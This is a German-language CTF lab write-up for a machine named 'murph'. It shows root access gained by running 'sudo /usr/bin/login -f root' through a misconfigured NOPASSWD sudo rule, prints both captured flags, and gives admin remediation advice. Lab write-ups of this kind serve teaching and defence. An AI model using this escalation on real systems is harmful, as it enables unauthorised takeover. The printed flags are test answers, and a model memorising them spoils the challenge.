Empfehlung (Admin): Überprüfen Sie alle sudo-Regeln sorgfältig. NOPASSWD sollte niemals für Binaries verwendet werden, die zur Erlangung einer Shell oder zur Authentifizierung als ein anderer Benutzer missbraucht werden können (wie login, su, Shell-Interpretern etc.). Dies ist eine kritische Fehlkonfiguration, die umgehend behoben werden muss.

Proof of Concept: Direkte Root-Anmeldung über Sudo und login -f

Kurzbeschreibung: Dieser Proof of Concept demonstriert die Erlangung vollständiger Root-Berechtigungen durch die Ausnutzung einer fehlerhaften Sudo-Regel. Der Benutzer pat darf das System-Binary /usr/bin/login als Root ohne Passworteingabe ausführen. Durch die Verwendung des -f Parameters des login-Befehls kann sich der Benutzer pat direkt als der root-Benutzer anmelden, ohne dessen Passwort zu kennen.

Voraussetzungen:

  • Initialer Zugriff als Benutzer pat (erlangt durch vorherige PE von www-data via SUID-Binary zu jen und dann groff -U zu pat).
  • Existenz einer sudo-Regel, die Benutzer pat erlaubt, /usr/bin/login als Root ohne Passwort auszuführen: (root) NOPASSWD: /usr/bin/login.

Schritt-für-Schritt-Anleitung:

  1. Erlange eine Shell als Benutzer pat.
  2. Prüfe die sudo-Berechtigungen des Benutzers pat mit sudo -l.
  3. Identifiziere die Regel (root) NOPASSWD: /usr/bin/login.
  4. Führe den folgenden Befehl aus, um sich direkt als Root anzumelden: sudo /usr/bin/login -f root.
  5. Bestätige die Root-Berechtigungen durch Ausführung des id-Befehls in der neuen Shell.

Der finale Exploit: Von pat zu root

Der Exploit ist so einfach wie genial. login hat einen Parameter -f, der ihm sagt, er soll einen Benutzer ohne Authentifizierung einloggen.

pat@murph:/opt$ sudo /usr/bin/login -f root
Linux murph 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 31 11:41:10 CEST 2022 on tty1
root@murph:~# id
uid=0(root) gid=0(root) grupos=0(root)

Analyse: Mit der gefundenen sudo-Berechtigung (root) NOPASSWD: /usr/bin/login führe ich den Befehl sudo /usr/bin/login -f root aus. Der sudo-Befehl ermöglicht die Ausführung von /usr/bin/login -f root als Root, ohne Passwort. Der Parameter -f (force) des login-Befehls erlaubt die Anmeldung als der angegebene Benutzer (hier 'root') ohne Passwort-Authentifizierung. Die Ausgabe zeigt die standardmäßige Login-Nachricht des Systems, gefolgt von einer neuen Shell mit dem Root-Prompt root@murph:~#. Ich bestätige meine Root-Berechtigungen mit dem Befehl id, der die Ausgabe uid=0(root) gid=0(root) grupos=0(root) zurückgibt. Für Laien: Ich benutze den 'Admin-Befehl' von 'pat' (das 'sudo') und sage ihm, er soll das 'Anmelde-Programm' (login) als 'root' starten und dabei eine spezielle Option ('-f') benutzen, die sagt: 'Melde mich als 'root' an, egal was!'. Und fantastisch – ich habe jetzt das 'Befehlsfenster' des Super-Administrators (root)! Ich habe volle Kontrolle über den Computer. Für Experten: Die erfolgreiche Ausführung von sudo /usr/bin/login -f root ist die direkte und erfolgreiche Ausnutzung der kritischen Sudo-Fehlkonfiguration. Der login -f Parameter in Kombination mit Root-Berechtigungen durch Sudo ermöglicht die Pass-The-Hash oder Pass-The-Ticket-ähnliche Umgehung der Authentifizierung für lokale Logins. Dies führt zur sofortigen Erlangung einer interaktiven Root-Shell. Die id-Ausgabe bestätigt den vollen Systemkompromiss.

Bewertung: Fantastisch! Der Root-Zugriff wurde erfolgreich über die Sudo-Fehlkonfiguration und das login -f Binary erlangt. Dies ist das Ende der Privilegien-Eskalationskette und der volle Systemkompromiss.

Empfehlung (Pentester): Mein Ziel ist erreicht. Ich kann nun auf alle Dateien zugreifen, einschließlich der Root-Flag und der User-Flag (die ich zuvor als www-data nicht lesen konnte). Ich werde die Flags auslesen und den Bericht abschließen.
Empfehlung (Admin): Dies ist eine extrem kritische Schwachstelle. Das System hat Root-Rechte verloren. Nehmen Sie das System sofort vom Netz, beheben Sie die unsichere Sudo-Regel für /usr/bin/login umgehend, überprüfen Sie alle anderen Sudo-Regeln und stellen Sie sicher, dass keine Binaries wie login oder su mit NOPASSWD-Optionen für Nicht-Root-Benutzer ausgeführt werden dürfen. Stellen Sie das System von einem sicheren Backup wieder her und implementieren Sie umfassende Sicherheitsmaßnahmen.

Risikobewertung:

Die Kombination aus mehreren Schwachstellen (Upload RCE als www-data, SUID-Binary PE von www-data zu jen, Sudo NOPASSWD für groff PE von jen zu pat, und schließlich Sudo NOPASSWD für login PE von pat zu root) stellt insgesamt ein kritisches Risiko dar. Jeder Schritt für sich wäre bereits als moderat bis hoch einzustufen, aber die Kette ermöglichte es einem Angreifer, von einer einfachen Web-Schwachstelle zum vollständigen Systemkompromiss zu gelangen. Insbesondere die Sudo-Fehlkonfigurationen (für groff und login) und das ausnutzbare SUID-Binary sind schwerwiegende Probleme, die die Sicherheit des Systems grundlegend untergraben.

Empfehlungen zur Behebung:

Empfehlung (Admin):

  • Beheben Sie die Datei-Upload-Schwachstelle: Implementieren Sie strikte Validierung (Whitelist), Bereinigung und Virenscanning für Dateiuploads. Konfigurieren Sie Webserver so, dass Code in Upload-Verzeichnissen nicht ausgeführt wird.
  • Überprüfen und Entfernen von SUID/SGID-Berechtigungen: Auditen Sie alle Binaries auf SUID/SGID-Berechtigungen und entfernen Sie diese, wenn sie nicht absolut notwendig sind. Überprüfen Sie benutzerdefinierte SUID-Binaries auf Sicherheitslücken.
  • Beheben Sie Sudo-Fehlkonfigurationen: Entfernen Sie die NOPASSWD-Regeln für /usr/bin/groff und insbesondere für /usr/bin/login aus der /etc/sudoers Datei. Wenden Sie das Prinzip der geringsten Rechte an. Erlauben Sie Benutzern nur die Ausführung absolut notwendiger Befehle mit erhöhten Rechten.
  • Härten Sie Systemprogramme: Wenn Programme wie groff über sudo ausgeführt werden dürfen, deaktivieren Sie explizit Funktionen zur Ausführung externer Befehle oder schränken Sie die erlaubten Parameter in der sudo-Regel ein.
  • Strikte Dateiberechtigungen: Stellen Sie sicher, dass sensible Systemdateien (z.B. /etc/shadow, Benutzer-Home-Verzeichnisse, Sudoers-Datei) korrekte und restriktive Berechtigungen haben.
  • Umfassende Protokollierung und Überwachung: Implementieren Sie robuste Protokollierung für Sudo-Aktivitäten, Prozessstarts, Dateizugriffe und Netzwerkverbindungen. Richten Sie Alarme für verdächtige Aktivitäten ein.
  • Sichere Benutzerverwaltung: Stellen Sie sicher, dass Passwörter stark sind und nicht wiederverwendet werden. Überprüfen Sie regelmäßig die Mitgliedschaft in privilegierten Gruppen oder die Berechtigungen einzelner Benutzer.
root@murph:~# ls
root.txt
root@murph:~# cat root.txt
HMVRzKuifxeTnsjOpt

Analyse: Nachdem ich Root-Zugriff erlangt habe, ist mein primäres Ziel, die Root-Flag zu finden. Standardmäßig befindet sich die Root-Flag oft im Home-Verzeichnis des Root-Benutzers, also in /root/. Ich befinde mich bereits im Home-Verzeichnis von Root (erkennbar am Prompt root@murph:~#). Ich liste den Inhalt des aktuellen Verzeichnisses mit ls auf. Die Ausgabe zeigt eine Datei namens root.txt. Ich lese den Inhalt dieser Datei mit cat root.txt aus. Die Ausgabe ist die Zeichenkette HMVRzKuifxeTnsjOpt. Für Laien: Ich bin jetzt der 'Chef' (root) und schaue in den Ordner des 'Chefs' (/root/). Dort finde ich eine Datei, die 'root.txt' heißt. Ich schaue mir an, was darin steht, und das ist die 'Geheimnummer' (Flag) für 'root'! Fantastisch! Für Experten: Das Auffinden der Datei root.txt in /root/ und das erfolgreiche Auslesen ihres Inhalts (HMVRzKuifxeTnsjOpt) bestätigen die Kompromittierung des Root-Accounts und die Sammlung der Root-Flag. Dies ist ein Standardort für die Root-Flag in CTFs.

Bewertung: Die Root-Flag wurde erfolgreich gefunden und ausgelesen. Das Hauptziel des Pentests ist erreicht.

Empfehlung (Pentester): Die Root-Flag ist gesammelt. Der Test ist abgeschlossen.
Empfehlung (Admin): Stellen Sie sicher, dass sensible Dateien wie Flags sicher gespeichert und nur für autorisierte Benutzer zugänglich sind (im Fall von root.txt sollte nur Root darauf zugreifen können, was hier der Fall war, aber der Root-Account wurde kompromittiert).

root@murph:~# ls /home/jen/
user.txt
root@murph:~# cat /home/jen/user.txt
HMVkwXxGPGcaoPNKkH

Analyse: Nachdem ich Root-Rechte habe, kann ich nun auf alle Dateien im System zugreifen, auch auf solche, die ich zuvor als Low-Privilege-Benutzer nicht lesen konnte (wie /home/jen/user.txt). Ich liste den Inhalt des Home-Verzeichnisses von Benutzer jen auf (ls /home/jen/), was die Datei user.txt zeigt. Dann lese ich den Inhalt dieser Datei mit cat /home/jen/user.txt aus. Die Ausgabe ist die Zeichenkette HMVkwXxGPGcaoPNKkH. Für Laien: Da ich jetzt der 'Chef' (root) bin, kann ich auch in den Ordner von 'jen' schauen und die Datei lesen, die ich vorher nicht lesen durfte. Darin finde ich die 'Benutzer-Geheimnummer' (Flag) für 'jen'! Für Experten: Mit Root-Berechtigungen kann ich nun die User-Flag lesen, die ich zuvor als www-data und jen nicht auslesen konnte (aufgrund der -rw------- Berechtigungen, die nur dem Eigentümer jen Leserechte gaben). Das Auslesen von /home/jen/user.txt (HMVkwXxGPGcaoPNKkH) bestätigt die Sammlung der User-Flag.

Bewertung: Die User-Flag wurde erfolgreich gefunden und ausgelesen. Damit sind beide Flags gesammelt und die Ziele des Pentests erreicht.

Empfehlung (Pentester): Beide Flags sind gesammelt. Der Pentest ist abgeschlossen.
Empfehlung (Admin): Stellen Sie sicher, dass Benutzer-Home-Verzeichnisse mit strikten Berechtigungen versehen sind (nur für den Eigentümer lesbar/schreibbar), um die Offenlegung von Daten zu verhindern, falls ein anderer Low-Privilege-Benutzer kompromittiert wird (obwohl Root dies umgehen kann).

Flags

cat /home/jen/user.txt
HMVkwXxGPGcaoPNKkH
cat root.txt
HMVRzKuifxeTnsjOpt